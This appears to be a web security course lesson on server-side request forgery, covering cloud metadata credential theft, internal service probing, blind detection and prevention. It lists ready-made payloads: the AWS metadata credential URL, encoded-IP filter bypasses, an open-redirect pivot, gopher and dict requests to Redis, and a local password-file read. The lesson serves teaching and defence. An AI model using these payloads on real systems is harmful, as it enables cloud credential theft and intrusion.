Web Application Security

Server-Side Request Forgery

Make the server fetch what you want - cloud metadata theft, internal port scanning, and SSRF filter bypasses.

Hard 26 minssrfcloudmetadata

Your application fetches a URL on behalf of a user. What could go wrong? As it turns out - everything. Server-Side Request Forgery (SSRF) lets an attacker redirect that server-side fetch to targets the server can reach but you never should: internal APIs, admin dashboards, Docker sockets, and the cloud metadata endpoint sitting quietly on every AWS EC2, GCP, and Azure instance, handing out credentials to anyone who asks.

Authorized Testing Only

SSRF exploits can exfiltrate live cloud credentials, access internal databases, and pivot to the internal network. Only test for SSRF on systems you own or have explicit written authorization to test. Unauthorized access to cloud metadata or internal services is a federal crime under the CFAA and equivalent laws worldwide.

What SSRF Actually Is

When a server makes an HTTP request based on user-supplied input, that input controls where the server goes. If there is no validation, an attacker can point the server at:

  • http://169.254.169.254/ - the AWS Instance Metadata Service (IMDS), which hands back IAM credentials
  • http://localhost:6379/ - an internal Redis instance with no auth
  • http://192.168.1.1/ - the internal network router or admin console
  • file:///etc/passwd - local files on the server itself
  • Other cloud services accessible only from within the VPC

The server makes the request with its own network identity and trust, so firewalls that block your laptop do nothing.

A Classic Example

An image-preview feature might accept a URL and render a thumbnail:

POST /api/preview
Content-Type: application/json
 
{"url": "https://legit-cdn.example.com/photo.jpg"}

Replace that URL with http://169.254.169.254/latest/meta-data/iam/security-credentials/ and a vulnerable server fetches AWS IAM credentials and returns them in the response.

Finding URL-Fetch Features

SSRF lives wherever the server fetches remote content. Hunt for:

  • Image/file preview - "enter a URL to import"
  • Webhooks - "notify this endpoint when X happens"
  • PDF/screenshot generators - tools like Puppeteer, wkhtmltopdf, or PhantomJS render URLs server-side
  • URL-to-import flows - Slack integrations, RSS readers, social share previews
  • Proxy or gateway functionality - any endpoint that acts as a pass-through
  • XML processing with external entities - covered in the XXE lesson
  • DNS lookups - even hostname resolution can be abused for blind SSRF

In Burp Suite, search request history for parameters named url, uri, src, href, path, dest, redirect, link, fetch, proxy, or callback. These are the usual suspects.

Burp Collaborator for Blind SSRF

If you get no visible response, use Burp Collaborator or an interactshell instance as your target URL. Any DNS lookup or HTTP request to your Collaborator host confirms out-of-band SSRF.

Hitting Internal Services

Once you confirm the parameter accepts arbitrary URLs, probe the internal network systematically.

Common Internal Targets

http://localhost/
http://127.0.0.1/
http://[::1]/                         # IPv6 loopback
http://0.0.0.0/
http://internal-api.corp/admin
http://192.168.0.1/                   # Router admin
http://10.0.0.1/
http://172.16.0.1/
http://localhost:8080/
http://localhost:9200/                # Elasticsearch
http://localhost:6379/                # Redis
http://localhost:27017/               # MongoDB (no auth common)
http://localhost:2375/                # Docker daemon API (dangerous)

A successful hit on the Docker daemon at http://localhost:2375/v1.41/containers/json gives you a full container list. Creating a privileged container is then trivial - that is remote code execution.

Cloud Metadata Services

This is the high-value target in cloud environments. Every major cloud platform provides a metadata endpoint accessible only from within the instance. It hands back initialization scripts, SSH keys, IAM role credentials, and more.

AWS IMDSv1 (the Dangerous One)

IMDSv1 requires no token - a single GET request is enough:

kali@vr4cs: ~
 

The response looks like this:

{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "wJalrXUtnFEMI...",
  "Token": "IQoJb3JpZ2luX2Vy...",
  "Expiration": "2026-05-27T12:00:00Z"
}

Those credentials are rotated, but until they expire (typically 6 hours) they work against any AWS API. An attacker with ec2:DescribeInstances can enumerate infrastructure; s3:GetObject can pull all bucket contents; iam:* can create new admin users.

IMDSv2 (Session-Token-Required)

AWS introduced IMDSv2 to defend against SSRF. It requires a two-step token exchange:

PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600

The PUT returns a token, which must be included in subsequent requests as X-aws-ec2-metadata-token. If the SSRF vulnerability allows custom headers or follows redirects, IMDSv2 can still be bypassed in some cases. Many instances still have IMDSv1 enabled for compatibility.

GCP and Azure Metadata

# GCP - requires Metadata-Flavor: Google header
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
 
# Azure - requires Metadata: true header
http://169.254.169.254/metadata/instance?api-version=2021-02-01

Hands-on Lab

SSRF to Cloud Metadata

Practice exploiting a realistic SSRF vulnerability in a vulnerable e-commerce application. You will locate the URL-fetch feature in the product-import flow, confirm basic SSRF against an internal echo service, then pivot to the simulated AWS IMDS endpoint to retrieve IAM role credentials. The lab ends with you using those credentials against a mock S3 API to exfiltrate a "sensitive" file - closing the full SSRF-to-data-breach chain.

Blind SSRF

Often the server makes the request but does not return any response content to you. You need side channels to confirm the hit.

Time-Based Detection

If the internal service responds quickly but an external IP takes 30 seconds to time out, the timing difference reveals the internal service exists:

kali@vr4cs: ~
 

Out-of-Band (OOB) Detection

Point the SSRF at a Burp Collaborator, interactsh, or your own VPS:

https://target.com/fetch?url=http://your-collaborator-id.burpcollaborator.net/

Any DNS resolution or HTTP request to your listener confirms the server is fetching outbound. From here you can enumerate internal ranges by watching which requests arrive quickly.

Filter Bypasses

Defenders often try to block SSRF with blocklists or input filters. Most can be circumvented.

IP Encoding Tricks

The same IP address 127.0.0.1 can be written in many forms that bypass naive blocklists:

http://2130706433/          # 127.0.0.1 as decimal
http://0x7f000001/          # 127.0.0.1 as hex
http://0177.0.0.1/          # 127.0.0.1 as octal
http://127.1/               # Short form
http://[::ffff:127.0.0.1]/  # IPv4-mapped IPv6
http://[::1]/               # IPv6 loopback
http://localhost/           # Hostname resolving to 127.0.0.1

For 169.254.169.254 (AWS IMDS):

http://2852039166/          # Decimal
http://0xa9fea9fe/          # Hex
http://169.254.169.254/     # Standard - if this is blocked, try above
http://metadata/            # Sometimes defined in /etc/hosts in cloud images

Open Redirects as SSRF Bridges

If the target application validates the host but the URL contains an open redirect, the redirect can pivot to an internal target:

https://target.com/fetch?url=https://trusted-partner.com/redirect?to=http://169.254.169.254/

The validator sees trusted-partner.com and allows it. The open redirect sends the server-side request to the IMDS.

DNS Rebinding (Conceptual Overview)

DNS rebinding exploits the race between DNS resolution and request execution:

  1. Attacker controls evil.com. Resolver returns a public IP that passes the validation check.
  2. Server validates the IP: it is public, so it is allowed.
  3. Before the actual HTTP request, the DNS TTL expires and the resolver is queried again.
  4. Attacker switches the DNS record to 127.0.0.1.
  5. Server now makes the HTTP request to 127.0.0.1 - a local service.

TTL values must be extremely low (0-1 seconds) and timing must be right, making this harder to exploit reliably than IP encoding tricks, but it is a real attack class.

Protocol Smuggling

Some SSRF filters only block http:// and https://. Try:

file:///etc/passwd
dict://127.0.0.1:6379/info     # Redis via DICT protocol
gopher://127.0.0.1:6379/_...   # Gopher can send raw bytes to Redis
ftp://internal-server/

Gopher is particularly powerful: it lets you send arbitrary bytes to a TCP socket, which means you can issue Redis SET commands, interact with memcached, or send SMTP mail via SSRF.

Seen in the wild · Shopify

Real HackerOne breakdown

A researcher discovered that Shopify's internal tooling made server-side HTTP requests to a URL controlled by the merchant configuration. By injecting an internal AWS metadata URL, the researcher was able to retrieve IAM credentials belonging to the Shopify infrastructure. Shopify triaged this as critical and paid a significant bounty. The fix was to enforce IMDSv2 (requiring a PUT token step) and add a strict allowlist of permitted URL targets in the webhook/import subsystems.

Prevention

Blocklists fail. Allowlists win.

Only permit fetches to a pre-approved list of origins your application genuinely needs:

import ipaddress
from urllib.parse import urlparse
 
ALLOWED_HOSTS = {"cdn.example.com", "api.partner.com"}
 
def safe_fetch(url: str) -> bytes:
    parsed = urlparse(url)
    host = parsed.hostname
 
    # Reject any host not in the allowlist
    if host not in ALLOWED_HOSTS:
        raise ValueError(f"Host {host} is not permitted")
 
    # Reject private/loopback after DNS resolution
    resolved_ip = socket.gethostbyname(host)
    ip = ipaddress.ip_address(resolved_ip)
    if ip.is_private or ip.is_loopback or ip.is_link_local:
        raise ValueError("Resolved IP is in a private range")
 
    return requests.get(url, timeout=5).content

Resolve AFTER Validation

Always resolve the hostname to an IP and validate that IP against private ranges - not just the hostname. A hostname like metadata might resolve to 169.254.169.254 on cloud images, and an attacker-controlled hostname can resolve to any IP.

Additional Controls

  • Disable IMDSv1 on all EC2 instances; enforce IMDSv2 token requirement via instance metadata options or AWS Config rule ec2-imdsv2-check.
  • Network egress controls: use security groups or iptables to prevent the application server from reaching internal subnets it has no business contacting.
  • Dedicated outbound proxy: route all server-side fetches through a proxy (Squid, nginx) that enforces an allowlist at the network layer, independent of application code.
  • Disable unnecessary URL schemes: if your app only needs http and https, block file://, gopher://, dict://, and ftp:// at the HTTP client level.
  • Log and alert on internal-range requests: even if you have controls, log when any request is made to RFC-1918 or link-local ranges - this is a high-signal indicator of active exploitation.

Key Takeaways

  • SSRF tricks the server into making requests on your behalf, reaching internal services, cloud metadata, and private networks that are firewalled from the internet.
  • The AWS IMDS endpoint at 169.254.169.254 is the highest-value SSRF target in cloud environments - it hands out rotating IAM credentials.
  • Hunt for SSRF in any feature that fetches URLs: webhooks, previews, import flows, PDF generators.
  • Blind SSRF is confirmed via timing differences or out-of-band DNS/HTTP callbacks (Burp Collaborator, interactsh).
  • Blocklists fail; use strict origin allowlists, resolve hostnames to IPs and re-validate, enforce IMDSv2, and control network egress.